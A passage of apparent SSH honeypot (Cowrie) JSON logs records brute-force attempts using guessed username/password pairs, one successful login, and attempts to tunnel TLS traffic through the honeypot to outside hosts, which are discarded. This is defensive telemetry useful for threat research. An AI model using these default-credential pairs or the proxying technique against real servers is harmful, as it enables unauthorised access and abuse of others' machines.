\\x1a\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2\\xe3b:\\x9de\\xb2f\\x81)\\x1eI\\x84\\x87w1\\xec)\\xd3\\x85cK\\x87\\x16Fxq\\x8b\\xb5\\xe4F\\xb1 U\\xee\\xb6\\n\\t$\\x85\\xdf\\xd5'\\xfb\\x15*\\x92#\\x7f\\x80\\t?Q(\\xf7\\xf3;\\x11\\xa7\\xce\\xd8=\\x0c\\x93=\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe3\\x04s\\x1fY }\\x06!P\\xe1\\xc2\\xfd\\xdbh\\xbev\\x9a\\x88k\\xb4@\\xb9\\x19\\xde\\x98\\xaa\\xc5\\x00 \\x1a\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:03.241657Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:03.786623Z","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:04.074446Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`;M\\x82\\xa5\\xc5\"\\xea\\x8d\\xf4\\x03(gT\\xe0F\\xcf,YYJ\\x0b)\\xbc\\xfd\\xb4\\xd8\\xb3\\r\\xc9\\x7f\\xd7 \\xf3\\xbc\\xb6\\xb3\\x1ah\\xd6\\x93\\x1b\\xb0\\xcbCqa\\xe7\\x0fg\\x9e\\x8b^\\x9a\\x13\\xc0\\x89\\x95\\xba\\xe1\\x15+\\xd7\\x11\\n\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 BE\\xb0\\xd3\\xf9\\x03\\xaf\\x88q7\\xc2\\xec\\xdb\\x8fZI\\xd4\\xc5\\x11\\xb1)\\xec\\xccY\\xf4\\xce\\xa1}\\x86\\x8a\\xcd{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`;M\\x82\\xa5\\xc5\"\\xea\\x8d\\xf4\\x03(gT\\xe0F\\xcf,YYJ\\x0b)\\xbc\\xfd\\xb4\\xd8\\xb3\\r\\xc9\\x7f\\xd7 \\xf3\\xbc\\xb6\\xb3\\x1ah\\xd6\\x93\\x1b\\xb0\\xcbCqa\\xe7\\x0fg\\x9e\\x8b^\\x9a\\x13\\xc0\\x89\\x95\\xba\\xe1\\x15+\\xd7\\x11\\n\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 BE\\xb0\\xd3\\xf9\\x03\\xaf\\x88q7\\xc2\\xec\\xdb\\x8fZI\\xd4\\xc5\\x11\\xb1)\\xec\\xccY\\xf4\\xce\\xa1}\\x86\\x8a\\xcd{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:04.077683Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:04.503945Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3r4","message":"login attempt [admin/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:04.588552Z","src_ip":"91.92.40.36","session":"5ca03c8a534b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:05.950151Z","src_ip":"91.92.40.36","session":"5ca03c8a534b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":60038,"dst_ip":"159.203.135.109","dst_port":22,"session":"f279ce9e5693","protocol":"ssh","message":"New connection: 201.17.146.173:60038 (159.203.135.109:22) [session: f279ce9e5693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:06.735342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:06.739447Z","src_ip":"201.17.146.173","session":"f279ce9e5693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:06.880994Z","src_ip":"201.17.146.173","session":"f279ce9e5693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester2025","message":"login attempt [tester/tester2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:07.472052Z","src_ip":"201.17.146.173","session":"f279ce9e5693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:08.615643Z","src_ip":"201.17.146.173","session":"f279ce9e5693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34510,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb729690ff3e","protocol":"ssh","message":"New connection: 91.92.40.36:34510 (159.203.135.109:22) [session: cb729690ff3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:10.021445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:10.374466Z","src_ip":"91.92.40.36","session":"cb729690ff3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:10.378303Z","src_ip":"91.92.40.36","session":"cb729690ff3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace12","message":"login attempt [dspace/dspace12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:12.801257Z","src_ip":"91.92.40.36","session":"cb729690ff3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:14.614598Z","src_ip":"91.92.40.36","session":"cb729690ff3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":65193,"dst_ip":"10.17.0.5","dst_port":22,"session":"a24b670cc66c","protocol":"ssh","message":"New connection: 113.164.152.20:65193 (10.17.0.5:22) [session: a24b670cc66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:16.957253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:16.962559Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43664,"dst_ip":"159.203.135.109","dst_port":22,"session":"296bd0ff3df5","protocol":"ssh","message":"New connection: 91.92.40.36:43664 (159.203.135.109:22) [session: 296bd0ff3df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:17.046255Z"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:17.267362Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:17.569275Z","src_ip":"91.92.40.36","session":"296bd0ff3df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:17.572957Z","src_ip":"91.92.40.36","session":"296bd0ff3df5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:18.431266Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:18.855807Z","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:18.947640Z","session":"a24b670cc66c","protocol":"ssh"}
